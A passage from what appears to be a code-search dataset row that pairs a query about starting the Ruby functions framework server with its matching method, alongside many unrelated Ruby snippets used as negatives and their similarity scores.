[]\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:description/text()\",ns).each do |d|\r\n\t d = d.to_s\r\n\t\td.gsub!(\"&amp;\",\"&\")\r\n\t\tpaper_descriptions.push(d)\t\t\r\n\tend\r\n\tpaper_descriptions.each do |d|\r\n\t\td.gsub!(\"&amp;\",\"&\") \r\n\t\tug_paper.description += [d] # now multivalued\r\n\tend\r\n\t\r\n\t\r\n\t# use date_of_award for UG papers - metadata team have confirmed\r\n\tpaper_date = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:date/text()\",ns).to_s\t\r\n\tif paper_date.length > 0\r\n\t\t#ug_paper.date = [paper_date] \r\n\t\tug_paper.date_of_award = paper_date\r\n\tend\r\n\t# advisor 0... 1 so check if present\r\n\tpaper_advisor = []\r\n\t doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:contributor/text()\",ns).each do |i|\r\n\t\tpaper_advisor.push(i.to_s)\r\n\tend\r\n\tpaper_advisor.each do |c|\r\n\t\tug_paper.advisor_string.push(c)\r\n\tend\t\r\n\t\r\n\t # departments and institutions \r\n\t#in this collection the loc may also be defined in the creator!\r\n locations = []\r\n\t doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:publisher/text()\",ns).each do |i|\r\n\t\tlocations.push(i.to_s)\r\n\t end\r\n\t \r\n\t #if publisher element is not present (which may be the case for essays and projects) see if creator is present, and if so, if it contains the right sort of content - ie a university department rather than a personal name\r\n\t if locations.size == 0\r\n\t\tif creators.size > 0\r\n\t\t\tcreators.each {|c|\r\n\t\t\tputs \"c was\" + c.to_s\r\n\t\t\t\tif c.downcase.include? \"department\" or c.downcase.include? \"dept\" or c.downcase.include? \"university\" or c.downcase.include? \"school\" or c.downcase.include? \"centre\"\r\n\t\t\t\t\tlocations.push(c.to_s)\r\n\t\t\t\tend\r\n\t\t\t}\t\t\r\n\t\tend\r\n\t end\r\n\t \r\n\t \r\n\t \r\n\t inst_preflabels = []\r\n\t locations.each do |loc|\r\n\t\t# awarding institution id (just check preflabel here as few options)\r\n\t\tif loc.include? \"University of York\"\r\n\t\t\tinst_preflabels.push(\"University of York\")\r\n\t\telsif loc.include? \"York.\" \r\n\t\t\tinst_preflabels.push(\"University of York\")\r\n\t\telsif loc.include? \"York:\"\r\n\t\t\tinst_preflabels.push(\"University of York\")\r\n\t\telsif loc.include? \"Oxford Brookes University\"\r\n\t\t\tinst_preflabels.push(\"Oxford Brookes University\") #I'v just added this as a minority of our theses come from here!\r\n\t\tend\r\n\t\tinst_preflabels.each do | preflabel|\r\n\t\t\tid = common.get_resource_id('institution', preflabel)\r\n\t\t\tug_paper.awarding_institution_resource_ids+=[id]\r\n\t\tend\r\n\t\t\t\t\r\n\t\t# department\r\n\t\tdept_preflabels = common.get_department_preflabel(loc)\t\t \r\n\t\tif dept_preflabels.empty?\r\n\t\t\tputs \"no department found\"\r\n\t\tend\r\n\t\tdept_preflabels.each do | preflabel|\r\n\t\t\tid = common.get_resource_id('department', preflabel)\r\n\t\t\tug_paper.department_resource_ids +=[id]\r\n\t\tend\r\n\tend\r\n\t\r\n\t# qualification level, name, resource type\r\n\ttypesToParse = [] #\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:type/text()\",ns).each do |t|\t\r\n\ttypesToParse.push(t)\r\n\tend\r\n\t# qualification names (object)\r\n\t#will we need this?\r\n\tqualification_name_preflabels = common.get_qualification_name_preflabel(typesToParse)\r\n\tif qualification_name_preflabels.length == 0 \r\n\t\tputs \"no qualification name preflabel found\"\r\n\tend\r\n\tqualification_name_preflabels.each do |q|\t\r\n\t\tqname_id = common.get_resource_id('qualification_name',q)\r\n\t\tif qname_id.to_s != \"unfound\"\t\t\r\n\t\t\tug_paper.qualification_name_resource_ids+=[qname_id]\r\n\t\telse\r\n\t\t\tputs \"no qualification nameid found\"\r\n\t\tend\r\n\tend\t\r\n\t# qualification levels (yml file). this wont really work as mapped for the other files, but can modify here by searching for anything in types including the term indicating a batchelors\r\n\t#degree then forcing it. may also need to try for other things\r\n\ttypesToParse.each do |t|\t\r\n\t\ttype_to_test = t.to_s\r\n\t\tqual_levels = []\r\n\t\tlevels = common.get_qualification_level_term(type_to_test)\r\n\t\tlevels.each do |level|\r\n\t\t\tif !qual_levels.include? level\r\n\t\t\t\tqual_levels.push(level)\r\n\t\t\tend\t\r\n\t\tend\r\n\t\tqual_levels.each do |dl|\r\n\t\t\tug_paper.qualification_level += [dl]\r\n\t\tend\r\n\t\t\r\n\t\t# now check for certain award types, and if found map to subjects (dc:subject not dc:11 subject)\r\n\t\t# resource Types map to dc:subject. at present the only official value is Dissertations, Academic\r\n\t\t#should this still be here for UG essays and projects?\r\n\t\t#im assuming that in the case of undergraduate dc:type labelled project rather than thesis, this should still be given the theis subject type \r\n\t\ttheses = [ 'theses','Theses','Dissertations','dissertations','project','Project' ] #KALE should this still be here for UG essays and projects?\r\n\t\tif theses.include? type_to_test\t\r\n\t\t# not using methods below yet - or are we? subjects[] no longer in model\r\n\t\t\tsubject_id = common.get_resource_id('subject',\"Dissertations, Academic\")\r\n\t\t\tug_paper.subject_resource_ids +=[subject_id]\t\t \r\n\t\tend\r\n\tend\r\n\t\r\n\tpaper_language = []\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:language/text()\",ns).each do |lan|\r\n\tpaper_language.push(lan.to_s)\r\n\tend\t\r\n\tpaper_language.each do |lan| #0 ..n\r\n\tstandard_language = \"unfound\"\r\n\t standard_language = common.get_standard_language(lan.titleize)#capitalise first letter\r\n\t\tif standard_language!= \"unfound\"\r\n\t\t\tug_paper.language+=[standard_language]\r\n\t\tend\r\n\tend\t\r\n\t\r\n\t# dc.keyword (formerly subject, as existing ones from migration are free text not lookup\r\n\tpaper_subject = []\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:subject/text()\",ns).each do |s|\r\n\tpaper_subject.push(s.to_s)\r\n\tend\r\n\tpaper_subject.each do |s|\r\n\t\ts.gsub!(\"&amp;\",\"&\")\r\n\t\tug_paper.keyword+=[s] #TODO:: ADDED TO FEDORA AS DC.RELATION NOT DC(OR DC11).SUBJECT!!!\r\n\tend\t\r\n\t\r\n\t# rights.\t\r\n\t# rights holder 0...1\r\n\t# checked data on dlib. all have the same rights statement and url cited, so this should work fine, as everything else is rights holders \r\n paper_rightsholder = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:rights/text()[not(contains(.,'http')) and not (contains(.,'licenses')) ]\",ns).to_s\r\n if paper_rightsholder.length > 0\r\n\tug_paper.rights_holder=[paper_rightsholder] \r\n end\r\n \r\n # license set a default which will be overwritten if one is found. its the url, not the statement. use licenses.yml not rights_statement.yml\r\n\t# For full york list see https://dlib.york.ac.uk/yodl/app/home/licences. edit in rights.yml\r\n\tdefaultLicence = \"http://dlib.york.ac.uk/licences#yorkrestricted\"\r\n\tpaper_rights = defaultLicence\r\n\tpaper_rights = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:rights/text()[contains(.,'http')]\",ns).to_s\r\n\t\r\n\tnewrights = common.get_standard_rights(paper_rights)# all theses currently York restricted \t\r\n\tif newrights.length > 0\r\n\t\tpaper_rights = newrights\r\n\t\tug_paper.rights=[paper_rights]\t\t\t\r\n\tend\t\r\n\t\r\n\t#check the collection exists before saving and putting in collection\r\n\t# save\t\r\n\tif Object::Collection.exists?(parentcol.to_s)\r\n\t\tug_paper.save!\r\n\t\tid = ug_paper.id\r\n\t\tputs \"paper id was \" +id \r\n\t\tputs \"parent col was \" + parentcol.to_s\r\n\t\tcol = Object::Collection.find(parentcol.to_s)\r\n\t\tputs \"id of col was:\" +col.id\r\n\t\tputs \" collection title was \" + col.title[0].to_s\r\n\t\tcol.members << ug_paper \r\n\t\tcol.save!\r\n\telse\r\n\t\tputs \"couldnt find collection \" + parentcol.to_s\r\n\t\treturn\r\n\tend\r\n\t\r\n\tif mainDocFound.length > 0\r\n\t\tusers = Object::User.all #otherwise it will use one of the included modules\r\n\t\tuser_object = users[0]\r\n\t\tputs \"got the user\"\r\n\t\tbegin\r\n\t\t\t# see https://github.com/pulibrary/plum/blob/master/app/jobs/ingest_mets_job.rb#L54 and https://github.com/pulibrary/plum/blob/master/lib/tasks/ingest_mets.rake#L3-L4\r\n\t\t\t#mfset.filetype = 'externalurl'\r\n\t\t\tmfset.filetype = 'managed'\r\n\t\t\t# make this the same as the label\r\n\t\t\tmfset.title = [externalpdflabel]\t#needs to be same label as content file label in foxml \r\n\t\t\tmfset.label = externalpdflabel\r\n\t\t\t# add the external content URL\r\n\t\t\tmfset.external_file_url = externalpdfurl\r\n\t\t\tputs \"added external file url\" + externalpdfurl\r\n\t\t\tactor = CurationConcerns::Actors::FileSetActor.new(mfset, user_object)\r\n\t\t\tactor.create_metadata(ug_paper)\r\n\t\t\t#Declare file as external resource\r\n\t\t\tHydra::Works::AddExternalFileToFileSet.call(mfset, externalpdfurl, 'external_url')\r\n\t\t\tmfset.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\t\t\tmfset.depositor = user\r\n\t\t\tmfset.save!\r\n\t\t\tputs \"fileset \" + mfset.id + \" saved\"\r\n \r\n\t\t\t#this is here because the system tended to lock up during multiple uploads - suspect competition for resources or threading issue somewhere\r\n\t\t\tsleep 20 \t\t\r\n\t\t\tug_paper.mainfile << mfset\r\n\t\t\tsleep 20 \r\n\t\t\tug_paper.save!\r\n\t\trescue\r\n\t\t\tputs \"QUACK QUACK OOPS! addition of external file unsuccesful\"\r\n\t\t\tresult = 4\r\n\t\t\treturn result\t\t\r\n\t\tend \r\n\t\tputs \"all done for external content mainfile \" + id \r\n\t\tresult = 0 \t\t\r\n\t else\r\n\t\tresult = 2\r\n\t end\r\n\r\n#uncomment and edit this if any additional resource files found in records\r\n=begin\r\n\tfor key in additional_filesets.keys() do\t\t\r\n\t\tadditional_thesis_file_fs = additional_filesets[key]\r\n actor = CurationConcerns::Actors::FileSetActor.new(additional_thesis_file_fs, user_object)\r\n actor.create_metadata(ug_paper)\r\n\t\turl = additional_thesis_file_fs.external_file_url\r\n Hydra::Works::AddExternalFileToFileSet.call(additional_thesis_file_fs, url, 'external_url')\r\n additional_thesis_file_fs.save!\r\n\t\tug_paper.members << additional_thesis_file_fs\r\n ug_paper.save!\r\n\t\tputs \"all done for additional file \" + key\r\n\tend\r\n=end\r\n\t \r\n\t#when done, explicity reset big things to empty to ensure resources not hung on to\r\n\t#additional_filesets = {} uncomment if additional content files\r\n doc = nil\r\n\tmapping_text = nil\r\n\tcollection_mappings = {}\t\r\n\t\r\n\treturn result # give it a return value\r\nend", "def create_file\n d \"^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\"\n d \"create_file\"\n d \"vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv\"\n \n parent_dir = Directory.find_by_id( params[:sel_id] )\n if !parent_dir\n render json: 'The directory does not exist', :layout => false, \n status: :unprocessable_entity and return\n end\n d parent_dir\n d parent_dir.dfiles\n @dfile = parent_dir.dfiles.create(\n name: params[:name],\n ftype: params[:ftype]\n )\n d @dfile\n if !@dfile\n render json: @dfile.errors, :layout => false, \n status: :unprocessable_entity and return\n else\n reponse = { action_id: params[:action_id],\n new_id: @dfile.id,\n new_name: @dfile.name,\n parent_id: @dfile.directory_id,\n kind_name: @dfile.typeName()\n }\n render :json => reponse, :layout => false, :status => 200 and return\n end\n \n \n # @dfile = parent_dir.dfiles.build(\n # name: params[:name],\n # ftype: params[:ftype]\n # )\n # d @dfile\n # if !@dfile\n # render json: @dfile.errors, :layout => false, \n # status: :unprocessable_entity and return\n # end\n # if @dfile.save\n # reponse = { action_id: params[:action_id],\n # new_id: @dfile.id,\n # new_name: @dfile.name,\n # parent_id: @dfile.directory_id,\n # kind_name: @dfile.typeName()\n # }\n # render :json => reponse, :layout => false, :status => 200 and return\n # else\n # render json: @dfile.errors, :layout => false, \n # status: :unprocessable_entity and return\n # end\n\n end", "def before_save\n # cwd: utunes_app\n logger.info(\"=======> before_save invoked!\")\n \n version_str = sprintf(\"%.2d\", version )\n bundle_title = \"hc12_v#{version_str}\"\n \n #\n # copy template folder\n #\n bundle_folder = \"lib/bundles\"\n bundle_name=\"build_\" + bundle_title\n bundle_fq_name = bundle_folder + \"/\" + bundle_name\n \n template_folder = bundle_folder + \"/\" + \"templates\"\n template_name = \"build_hc12_vnn\"\n template_fq_name = template_folder + \"/\" + template_name\n \n logger.info(\"cp -R #{template_fq_name} #{bundle_fq_name}\")\n logger.info( %x[cp -R #{template_fq_name} #{bundle_fq_name}] )\n \n #\n # move image files to new bundle script folder\n #\n images_folder = \"public/upload\"\n \n image_ls_name = \"hc12_ls.bin\"\n image_fq_ls_name = images_folder + \"/\" + image_ls_name\n \n image_hs_name = \"hc12_hs.bin\"\n image_fq_hs_name = images_folder + \"/\" + image_hs_name\n \n image_fq_ls_target = \"#{bundle_fq_name}/hc12_images/hc12ft.txt\"\n image_fq_hs_target = \"#{bundle_fq_name}/hc12_images/hc12hs.txt\"\n \n logger.info(\"mv #{image_fq_ls_name} #{image_fq_ls_target}\")\n logger.info( %x[mv #{image_fq_ls_name} #{image_fq_ls_target}] )\n \n logger.info(\"mv #{image_fq_hs_name} #{image_fq_hs_target}\")\n logger.info( %x[mv #{image_fq_hs_name} #{image_fq_hs_target}] )\n \n #\n # creation version file\n #\n File.open(bundle_fq_name+\"/hc12_images/version\", \"w\") do |verfile|\n verfile.printf(version_str)\n end\n \n end", "def after_process original\n super(original)\n Wukong::Deploy.vayacondios_client.announce(vayacondios_topic, {\n success: true,\n step: 'prepare',\n path: fragment_for(original),\n size: File.size(original),\n })\n end", "def test_attach_file\n# post :upload, \"note\"=>{\"title\"=>\"my note\"}, \"courseid\"=>\"806350272748085520\",\n# \"processor\"=>{\"id\"=>\"1000001\"}, \"success\"=>\"/course/806350272748085520/ACMA-320/share_notes\", \n# \"upload_id\"=>\"1169944954\", \n# \"failure\"=>\"/course/806350272748085520/ACMA-320/share_notes\"\n \n post :upload, \"noteid\"=>\"816717565610925385\", \"processor\"=>{\"id\"=>\"1000001\"}\n \n end", "def update_index\n index_files = []\n index_files << upload(\"specs.4.8.gz\", specs_index)\n log \"Uploaded all specs index\"\n index_files << upload(\"latest_specs.4.8.gz\", latest_index)\n log \"Uploaded latest specs index\"\n index_files << upload(\"prerelease_specs.4.8.gz\", prerelease_index)\n log \"Uploaded prerelease specs index\"\n\n index_files.each do |file|\n tuf_repo.replace_file(file, 'targets/unclaimed', 'targets')\n end\n\n # For now assume all files are unclaimed\n pending_files = tuf_pending_store.pending\n pending_files.each do |file|\n puts \"Adding file: #{file.path}\"\n tuf_repo.add_file(file, 'targets/unclaimed', 'targets')\n end\n tuf_repo.publish!\n tuf_pending_store.clear(pending_files)\n end", "def new_files\n db = Database::Mysql.default\n table = Database::GenericTable.new(db,$table)\n # generate the hash structure\n files = Util.folders($type).inject({}) {|col,f| col[f] = []; col}\n puts files.inspect\n db.connect do\n select = [\"*\"]\n where = { processed: 0 }\n res = table.search_and select,where \n res.each_hash do |row|\n files[row[\"switch\"]] << row[\"file_name\"]\n end\n puts \"Found #{res.num_rows} new files to process in #{$table}...\" if $opts[:v]\n end\n files\nend", "def create\n @sys_image = resource_new(params[:sys_image]) \n @sys_image.user_id = current_user.id\n\t@sys_image.sys_image_id = nil\n @sys_image.baseline = 0\n if (params[:sys_image_id].to_i != -1)\n @sys_image.baseline = 1\n @sys_image.sys_image_id = params[:sys_image_id]\n end\n uploaded_io = params[:file]\n #path = get_sysimage_by_user(current_user.username, params[:sys_image][:name]); \n #File.open(path, 'w') do |file|\n #file.write(uploaded_io.read)\n #end\n _size = File.size(uploaded_io)\n if _size > 0\n @sys_image.size = _size\n if @sys_image.save\n write_resource(@sys_image, uploaded_io.read, \"ndz\")\n OMF::Workspace.create_sysimage(@sys_image, get_path(@sys_image, \"ndz\")) \n flash[\"success\"] = t(\"amazing.sys_image.created\")\n redirect_to(@sys_image) \n else\n render :action => \"new\" \n end\n end\n end" ]
[ "0.68108815", "0.61197674", "0.609095", "0.6053759", "0.581231", "0.581231", "0.581231", "0.581231", "0.581231", "0.581231", "0.5776208", "0.5684958", "0.54806", "0.54806", "0.54718393", "0.5421152", "0.54110634", "0.54110634", "0.5398515", "0.5396567", "0.5384946", "0.53822285", "0.5381599", "0.5376414", "0.5375986", "0.5370467", "0.53645265", "0.5350655", "0.5339945", "0.5339291", "0.53306043", "0.5312528", "0.5309629", "0.5288837", "0.5280521", "0.5280521", "0.5262862", "0.5262862", "0.5253048", "0.52491856", "0.5246304", "0.52459764", "0.52444404", "0.5199627", "0.51963353", "0.51863813", "0.51794577", "0.5171506", "0.5169978", "0.5169978", "0.5169978", "0.5169978", "0.5169978", "0.5169978", "0.5169978", "0.5169978", "0.5169978", "0.5169978", "0.5169978", "0.5169527", "0.51512283", "0.514914", "0.51331997", "0.51299757", "0.5119359", "0.51187325", "0.51187325", "0.5114601", "0.51129204", "0.51119435", "0.51025194", "0.50972867", "0.5097047", "0.50919384", "0.5087533", "0.50814354", "0.5080743", "0.5078194", "0.50773025", "0.50732523", "0.50730264", "0.50713867", "0.50636846", "0.5062333", "0.50579953", "0.50516057", "0.5046729", "0.50368965", "0.5035282", "0.50344205", "0.50333333", "0.50310075", "0.50305414", "0.5026607", "0.50251776", "0.5022629", "0.50200605", "0.5019643", "0.50190926", "0.50159395", "0.50142044" ]
0.0
-1
Run startup tasks, then start the functions framework server in the background. The startup tasks and target function will be looked up in the global registry.
def start target, &block require "functions_framework/server" if target.is_a? ::FunctionsFramework::Function function = target else function = global_registry[target] raise ::ArgumentError, "Undefined function: #{target.inspect}" if function.nil? end globals = function.populate_globals server = Server.new function, globals, &block global_registry.startup_tasks.each do |task| task.call function, globals: globals, logger: server.config.logger end globals.freeze server.respond_to_signals server.start end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def work\n Logger.info \"Starting work...\"\n execute_startup(connections) {|c| c.future.connect}\n execute_startup(devices) {|d| d.future.start_device}\n execute_working_code\n end", "def start!\n message \"Launching minimum_instances\"\n launch_minimum_instances\n message \"Waiting for master to boot up\" \n \n wait_for_all_instances_to_boot\n \n setup_cloud\n end", "def start\n run_all if @options[:all_on_start]\n end", "def startup\nend", "def run\n start\n jetty.join\n end", "def start\n run_all if options[:all_on_start]\n end", "def start\n run_all if options[:all_on_start]\n end", "def start\n run_all if options[:all_on_start]\n end", "def startup\n end", "def startup\n end", "def startup\n end", "def x_start\n run_callbacks :execute do\n # binding.pry\n context.resource_runtimes.each do |runtime|\n runtime.execute(:start)\n # binding.pry\n # runtime.start do |queue|\n # binding.pry\n # queue.run\n # queue.map(&:to_a).flatten.each do |msg|\n # Cnfs.logger.warn(msg)\n # end\n # end\n end\n end\n end", "def start_framework\n @fw_thread = Thread.new do\n begin\n load(File.join(ROOT, 'main.rb'))\n rescue\n LOG.puts(\"Exception encountered - #{$!.message}\")\n LOG.puts($!.backtrace.join(\"\\n\"))\n end\n end\n end", "def start_run; end", "def define_tasks\n # Run the command on the local system\n def run(cmd)\n Kernel.system(cmd.runnable)\n end\n # Basic setup action\n def setup_application\n @options ||= PoolParty.options(ARGV.dup)\n end\n \n # Require the poolparty specific tasks\n compiled_rakefile\n \n desc \"Reload the static variables\"\n task :reload do\n reload!\n end\n true\n end", "def start\n # we trap CTRL+C in the console and kill the server\n trap(\"INT\") { BeEF::Core::Server.instance.stop }\n \n # starts the web server\n @http_server.start\n end", "def start(*args)\n logger.info('Starting load generation and monitoring on targets...')\n redeploy = (args.empty? ? false : true)\n current_project.start(redeploy)\n\n show_load_agents\n show_target_hosts\n end", "def start\n run_all if options[:all_on_start]\n end", "def setup!\n Fission.registration.each do |key, klasses|\n klasses.each do |klass|\n args = [:fission, :workers, *key.split('.')]\n num = nil\n until(args.empty? || num)\n num = Carnivore::Config.get(*args)\n unless(num.is_a?(Fixnum))\n num = nil\n args.pop\n end\n end\n klass.workers = num.is_a?(Fixnum) ? num : 0\n src_key = key.split('.').first\n src = Carnivore::Source.source(src_key)\n if(src)\n name = klass.to_s.split('::').last\n src.add_callback(name, klass)\n else\n Carnivore::Utils.warn \"Workers defined for non-registered source: #{key}\"\n end\n end\n end\n\n # Setup process manager if needed\n # if(Carnivore::Config.get(:fission, :utils, :process, :max_processes).to_i > 0)\n # require 'fission/utils/process'\n # if(Carnivore::Config.get(:fission, :utils, :process, :spawn))\n # ChildProcess.posix_spawn = true\n # end\n # Utils::Process.supervise_as :process_manager\n # end\n end", "def start_api_services()\n # ejabberd uses uaserver for authentication\n # so start it after we find out the uaserver's ip\n threads = []\n if my_node.is_login?\n threads << Thread.new {\n start_ejabberd()\n }\n end\n\n @done_initializing = true\n\n # start zookeeper\n threads << Thread.new {\n if my_node.is_zookeeper?\n configure_zookeeper(@nodes, @my_index)\n start_zookeeper\n end\n\n ZKInterface.init(my_node, @nodes)\n }\n\n if my_node.is_memcache?\n threads << Thread.new {\n start_memcache()\n }\n end\n\n if my_node.is_db_master?\n threads << Thread.new {\n start_db_master()\n # create initial tables\n if my_node.is_db_master?\n prime_database\n end\n\n # Always colocate the Datastore Server and UserAppServer (soap_server).\n if has_soap_server?(my_node)\n @state = \"Starting up SOAP Server and Datastore Server\"\n start_datastore_server()\n start_soap_server()\n HelperFunctions.sleep_until_port_is_open(HelperFunctions.local_ip, UserAppClient::SERVER_PORT)\n end\n\n # If we're starting AppScale with data from a previous deployment, we\n # may have to clear out all the registered app instances from the\n # UserAppServer (since nobody is currently hosting any apps).\n if not @creds['clear_datastore']\n erase_app_instance_info\n end\n }\n end\n\n if my_node.is_db_slave?\n threads << Thread.new {\n start_db_slave()\n\n # Currently we always run the Datastore Server and SOAP\n # server on the same nodes.\n if has_soap_server?(my_node)\n @state = \"Starting up SOAP Server and Datastore Server\"\n start_datastore_server()\n start_soap_server()\n HelperFunctions.sleep_until_port_is_open(HelperFunctions.local_ip,\n UserAppClient::SERVER_PORT)\n end\n }\n end\n\n # All nodes have application managers\n threads << Thread.new {\n start_app_manager_server()\n }\n\n if my_node.is_appengine?\n threads << Thread.new {\n start_blobstore_server()\n }\n end\n\n if my_node.is_taskqueue_master?\n threads << Thread.new {\n start_taskqueue_master()\n }\n elsif my_node.is_taskqueue_slave?\n threads << Thread.new {\n start_taskqueue_slave()\n }\n end\n\n # App Engine apps rely on the above services to be started, so\n # join all our threads here\n Djinn.log_info(\"Waiting for all services to finish starting up\")\n threads.each { |t| t.join() }\n Djinn.log_info(\"API services have started on this node\")\n\n end", "def startup\n end", "def run_all\n deploy_code\n run_test\n end", "def start\n configure\n run\n end", "def exec_setup\n exec_task_traverse 'setup'\n end", "def start()\n raise ValidateError.new(\"#{full_name} not validated.\") unless @prepared\n @tasks.each_value { |task| task.start() }\n end", "def start\n assign_globals\n register_space\n start_message\n build_actions\n start_threads\n end", "def startup(workdir)\n validate_platform\n select_target\n setup\n get_remote_workdir\n end", "def create_tasks\n Application.features[self].each{ |f|\n extend Rake::DSL\n taskname = \"#{f.to_s.split('::').last}\"\n desc \"Feature\"\n task taskname => [\"#{taskname}:install\"] do\n end\n namespace taskname do\n desc \"install #{taskname}\"\n task :install do\n puts \"----> installing #{taskname}\"\n puts \"#{self} | #{f}\"\n Application.install[f.name].each{ |c|\n puts \"#{c}\"\n }\n end\n end \n } if Application.features[self]\n end", "def start\n copy_all_functions \"Copying functions over\"\n end", "def masterrun\n self.workersrun \n self.serverrun \n end", "def launch_tasks\n config.prepare_task.run if config.prepare_task\n\n # level = 1\n Parallel.map(root.children, config.parallel => root.children.size) do |node|\n logger.info(\"Run locally. localhost => #{node.host}\")\n config.local_task.run(root.host, node.host)\n end\n # level in (2..depth)\n fork_remote_tasks(root.children)\n\n config.finish_task.run if config.finish_task\n end", "def start\n if @options[:\"disable-watcher\"]\n bootup\n else\n @server_job = fork {\n Signal.trap(::Middleman::WINDOWS ? :KILL : :TERM) { exit! }\n bootup\n }\n end\n end", "def begin!\n start_server\n end", "def start\n boot_app && @@queue.load_jobs\n @worker_list = []\n Belated.config.workers.times do |i|\n @worker_list << Thread.new { Worker.new(number: i.next) }\n end\n return unless Belated.config.connect\n\n connect!\n banner_and_info\n trap_signals\n @@queue.enqueue_future_jobs\n end", "def start_async\n\t\tObject.const_set(\"NO_PLEZI_AUTO_START\", true) unless defined?(NO_PLEZI_AUTO_START)\n\t\treturn GReactor.start if GReactor.running?\n\t\tputs \"Starting Plezi #{Plezi::VERSION} Services using GRHttp #{GRHttp::VERSION} and GReactor #{GReactor::VERSION}.\"\n\t\tGReactor.on_shutdown { puts \"Plezi shutdown. It was fun to serve you.\" }\n\t\tGReactor.start ::Plezi::Settings.max_threads\n\tend", "def run\n\n # Run in the background if daemonizing\n (daemonize; return) if @options[:daemonize]\n\n # Otherwise, run in the foreground\n launch_celluloid(true)\n end", "def start\n extract_and_configure\n if config.managed?\n @pid = spawn(config.env, *process_arguments)\n\n # Wait for fcrepo to start\n while !status\n sleep 1\n end\n end\n end", "def autostart; end", "def start_app\nend", "def start\n @runner = Runner.new @options\n if @runner.nil?\n @raise [:task_has_failed]\n end\n notify_start\n run_all if @options[:all_on_start]\n end", "def start\n start_message\n setup_options\n validate!\n setup_jobs\n boot_manager\n end", "def startup_hook; end", "def run\n run_build_tasks before_tasks, basic_tasks, after_tasks\n end", "def start\n begin\n EventMachine.run do\n \n @config.rabbitmq_hosts.each do |rabbitmq_host|\n if rabbitmq_host[\"enabled\"] == true\n start_worker(rabbitmq_host)\n end\n end\n Signal.trap(\"INT\"){EventMachine.stop}\n Signal.trap(\"QUIT\"){EventMachine.stop}\n Signal.trap(\"TERM\"){EventMachine.stop}\n Signal.trap(\"TSTP\"){EventMachine.stop}\n end\n rescue Exception=>e\n puts \"#{e.message} #{e.backtrace}\"\n end\n end", "def run_all\n run(\"features\")\n end", "def boot\n Thread.new do\n sleep 1 until EM.reactor_running?\n\n begin\n log.info \"Loading application...\"\n app_init\n load_settings\n Fastr::Plugin.load(self)\n load_app_classes\n setup_router\n setup_watcher unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/\n\n log.info \"Application loaded successfully.\"\n\n @booting = false\n\n plugin_after_boot\n rescue Exception => e\n log.error \"#{e}\"\n puts e.backtrace\n log.fatal \"Exiting due to previous errors...\"\n exit(1)\n end\n end\n end", "def start_in_background\n Thread.start { start }\n end", "def run\n logger.info 'starting autobuild (Ctrl-C to stop)'\n\n Signal.trap('INT') {\n puts \"Autobuild is stopping, please wait...\"\n\n exit # some reason watchr is blocking...\n @watcher.stop\n @web_server.stop if @web_server\n }\n\n @watcher.start\n if @web_server\n @web_server.start\n sleep 0.25\n end\n # We may have a local server we didn't spin up\n launch_program = ::Webby.site.autobuild_launch_program\n if launch_program \n `#{launch_program} #{@launchy}`\n else\n Launchy.open(@launchy) if @launchy\n end\n\n @watcher.join\n @web_server.join if @web_server\n end", "def run_hooks\n run_hook\n run_hook(Terraspace.env)\n end", "def start\n begin\n setup\n run\n shutdown\n rescue\n exception($!)\n rescue Interrupt\n interrupt($!)\n ensure\n cleanup\n end\n end", "def startup\n log \"#{name} is starting\"\n trap(\"INT\") { shutdown_soon }\n end", "def start(foreground = false)\n server_class = RailsInstaller::WebServer.servers[config['web-server']]\n if not server_class\n message \"** warning: web-server #{config['web-server']} unknown. Use 'web-server=external' to disable.\"\n end\n \n server_class.start(self,foreground)\n end", "def start\n # TODO: if .project.yml and .sh have not been created yet then call init to make them\n puts \"\\n\\n project:\"\n puts ' command: start'\n puts \" name: #{File.basename(root_dir)}\"\n puts \"\\n docker-machine:\"\n puts \" name: #{project_config['docker-machine']['name']}\"\n unless vm_running?\n print \" status: starting...\\r\"\n `docker-machine start #{project_config['docker-machine']['name']}` # > /dev/null 2>&1\n end\n if vm_running?\n puts ' status: running '\n else\n puts ' status: failed to start '\n exit 0\n end\n puts \"\\n watchman:\"\n unless watchman_trigger_installed?\n print \" trigger: installing...\\r\"\n add_watchman_trigger\n end\n puts \" trigger: #{watchman_trigger_installed? ? 'installed' : 'not installed'} \"\n fork do\n 30.times do\n sleep(1)\n if browser_url_responding?\n open_webapp\n break\n end\n end\n exit 0\n end\n puts \"\\n docker-compose:\"\n puts \" service: #{project_config['docker-compose']['service']}\"\n unless service_running?\n print \" status: waiting on docker daemon...\\r\"\n wait_until_docker_daemon_responding # TODO: flip this to before the service_running? check\n puts \" status: starting... \\n\\n\"\n puts \" note: browser will open webapp as soon as service is ready\\n\\n\"\n puts \" tip: execute 'docker-compose logs' to tail the service logs\\n\\n\"\n exec(\"#{setup_docker_env_vars_str} docker-compose start\")\n # stdout_data, 